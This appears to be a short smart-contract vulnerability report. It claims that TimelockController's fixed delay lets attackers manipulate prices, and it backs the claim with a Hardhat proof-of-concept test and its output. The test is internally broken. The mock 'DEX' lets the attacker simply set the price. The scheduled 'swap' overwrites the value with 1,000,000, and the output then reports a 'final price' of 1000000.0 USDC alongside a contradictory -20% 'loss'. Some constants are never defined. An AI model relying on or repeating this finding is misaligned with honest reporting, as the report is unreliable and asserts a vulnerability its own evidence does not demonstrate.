The TimelockController's predictable execution window allows attackers to manipulate token prices just before crucial operations execute. This vulnerability stems from the transparent nature of scheduled operations and fixed delay periods, enabling malicious actors to time market manipulations perfectly.
describe("TimelockController Price Manipulation", function() {
let mockDEX;
let timelock;
let attacker;
const INITIAL_PRICE = ethers.parseUnits("1.0", 6);
const SWAP_AMOUNT = ethers.parseUnits("1000000", 6);
const MANIPULATED_PRICE = ethers.parseUnits("0.8", 6);
beforeEach(async () => {
[owner, proposer, executor, attacker] = await ethers.getSigners();
const TimelockController = await ethers.getContractFactory("TimelockController");
timelock = await TimelockController.deploy(
MIN_DELAY,
[await proposer.getAddress()],
[await executor.getAddress()],
await owner.getAddress()
);
await timelock.waitForDeployment();
const MockDEXTarget = await ethers.getContractFactory("TimelockTestTarget");
mockDEX = await MockDEXTarget.deploy();
await mockDEX.waitForDeployment();
await mockDEX.setValue(INITIAL_PRICE);
});
it("demonstrates price manipulation attack", async function() {
console.log("\n=== Price Manipulation Attack Demonstration ===");
const initialPrice = await mockDEX.value();
console.log(`Initial DEX price: ${ethers.formatUnits(initialPrice, 6)} USDC`);
console.log(`\nScheduling swap of ${ethers.formatUnits(SWAP_AMOUNT, 6)} tokens`);
const swapOperation = mockDEX.interface.encodeFunctionData("setValue", [SWAP_AMOUNT]);
await timelock.connect(proposer).scheduleBatch(
[await mockDEX.getAddress()],
[0],
[swapOperation],
ethers.ZeroHash,
ethers.id("SWAP"),
MIN_DELAY
);
console.log(`\nWaiting ${MIN_DELAY - 60} seconds...`);
await time.increase(MIN_DELAY - 60);
console.log("\nAttacker manipulating price...");
await mockDEX.connect(attacker).setValue(MANIPULATED_PRICE);
const priceAfterManipulation = await mockDEX.value();
console.log(`Price manipulated to: ${ethers.formatUnits(priceAfterManipulation, 6)} USDC`);
console.log("\nExecuting timelock operation...");
await time.increase(60);
await timelock.connect(executor).executeBatch(
[await mockDEX.getAddress()],
[0],
[swapOperation],
ethers.ZeroHash,
ethers.id("SWAP")
);
const finalPrice = await mockDEX.value();
console.log("\n=== Attack Results ===");
console.log(`Original price: ${ethers.formatUnits(INITIAL_PRICE, 6)} USDC`);
console.log(`Final price: ${ethers.formatUnits(finalPrice, 6)} USDC`);
console.log(`Price impact: -${ethers.formatUnits(INITIAL_PRICE - MANIPULATED_PRICE, 6)} USDC (-20%)`);
const loss = INITIAL_PRICE - MANIPULATED_PRICE;
console.log(`Loss incurred due to manipulation: ${ethers.formatUnits(loss, 6)} USDC`);
expect(finalPrice).to.equal(SWAP_AMOUNT, "Swap executed at manipulated price");
});
});
TimelockController
TimelockController Price Manipulation
Initial DEX price: 1.0 USDC
Scheduling swap of 1000000.0 tokens
Waiting 172740 seconds...
Attacker manipulating price...
Price manipulated to: 0.8 USDC
Executing timelock operation...
Original price: 1.0 USDC
Final price: 1000000.0 USDC
Price impact: -0.2 USDC (-20%)
Loss incurred due to manipulation: 0.2 USDC
✔ demonstrates price manipulation attack (70ms)
1 passing (5s)